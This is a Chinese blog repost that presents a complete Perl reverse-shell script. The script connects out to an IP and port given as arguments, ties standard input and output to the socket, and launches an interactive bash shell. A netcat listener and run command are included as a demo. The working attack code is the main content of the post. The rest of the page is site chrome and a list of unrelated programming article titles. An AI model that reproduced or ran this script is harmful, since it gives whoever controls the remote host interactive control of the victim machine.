博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
用Perl写的反弹Shell [转]
阅读量:4139 次
发布时间:2019-05-25

本文共 1035 字,大约阅读时间需要 3 分钟。

用Perl写的反弹Shell [转]

说明:这个反弹shell的代码来自 anonymouslogin 的百度空间,无意中看到,用于Linux下面,和以前我在POC上看到的一个 comeback.pl代码很像很像    本人暂时没有测试 手头没有的Linux机子... 代码是我自己加上去的

laiwei@debian:~$ cat rebound.pl                       '用cat命令查看

#!/usr/bin/perl -w

#

use strict;                     

use Socket;                                                       '定义socket,准备套接字
use IO::Handle;                                                  '这个是句柄

if($#ARGV+1 != 2){

        print "$#ARGV $0 Remote_IP Remote_Port \n";
        exit 1;
}

my $remote_ip = $ARGV[0];                              'ARGV数组里面放公网IP和端口号

my $remote_port = $ARGV[1];

my $proto = getprotobyname("tcp");

my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));

my $shell = '/bin/bash -i';

socket(SOCK, AF_INET, SOCK_STREAM, $proto);       '这个东西学过VC++网络编程的人就能看懂,2个月前我看不懂 呵呵

STDOUT->autoflush(1);

SOCK->autoflush(1);

connect(SOCK,$pack_addr) or die "can not connect:$!";

open STDIN, "<&SOCK";

open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";

print "Enjoy the shell.\n";          

system($shell);                        '执行

close SOCK;                           '关闭SOCKET会话

exit 0;

-------------------------------------------------------------------------------------------------------

演示:

在主机A上面

nc -l -p 8888 -vv

在主机B上面

./rebound.pl AA.AA.AA.AA 8888

转载地址:http://sdhvi.baihongyu.com/

你可能感兴趣的文章
该用配置的时候, 就不要宏定义
查看>>
以前听师傅说, 某同学某变量没有初始化, 结果定位3-4天才解决bug
查看>>
时间单位m和ms弄错导致系统概率异常, 耗费1天多才解决问题!
查看>>
时区弄错, 导致定时任务不生效, 大问题!------GMT和GMT+8
查看>>
CSRF与http 403 (403 禁止访问:访问被拒绝 )
查看>>
服务在朝哪个端口发数据?
查看>>
清华大学顾秉林校长给毕业生忠告
查看>>
来来来, 出个题考一下你的计算机功底------程序中有某一个变量, 为什么在同一时刻有不同的值?
查看>>
引用类型错误导致编译错误------浪费5-10分钟
查看>>
自己开发机编译出来的库没问题, 但公共编译机上编译出来的库有问题, 也是醉了!
查看>>
多了一个int, 导致成员变量值异常, 定位问题花费15分钟(后来又遇到此bug, 1分钟解决)
查看>>
linux中split命令的重要用途------文件分割
查看>>
如何让你的linux程序在后台静默执行?
查看>>
戏说年末盘点后台数据的获取思路------很多时候, 思路比执行更重要!
查看>>
严禁在log中改变变量的值
查看>>
Linux文件的三个时间详解
查看>>
protobuf repeated类型的使用
查看>>
protobuf简览
查看>>
php urlencode和urldecode
查看>>
使用strings命令时需要小心gcc/g++的优化选项
查看>>